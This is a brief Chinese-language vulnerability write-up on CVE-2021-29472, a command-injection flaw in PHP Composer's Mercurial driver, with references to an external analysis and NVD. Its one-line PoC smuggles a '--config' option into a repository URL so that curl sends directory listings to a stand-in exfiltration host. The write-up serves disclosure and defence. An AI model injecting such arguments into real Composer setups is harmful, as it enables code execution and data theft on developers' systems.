跳转至

PHP Composer命令注入漏洞(CVE-2021-29472)

Composer是PHP的一个依赖管理器工具,它使用在线服务Packagist来确定软件包下载的正确供应链。据估计,Packagist基础设施每月大约为14亿个下载请求提供服务。由于Root composer.json文件中的Mercurial库的URL和包源下载的URL没有被正确清理,这将导致攻击者注入的参数被解释为Composer执行的系统命令的选项。如果系统中安装了hg/Mercurial,则恶意制作的URL值将导致代码在HgDriver中被执行。

详细分析可以见:https://blog.sonarsource.com/php-supply-chain-attack-on-composer

PoC:

--config=alias.identify=!curl http://exfiltration-host.tld --data “$(ls -alh)”

ref:

  • https://blog.sonarsource.com/php-supply-chain-attack-on-composer
  • https://nvd.nist.gov/vuln/detail/CVE-2021-29472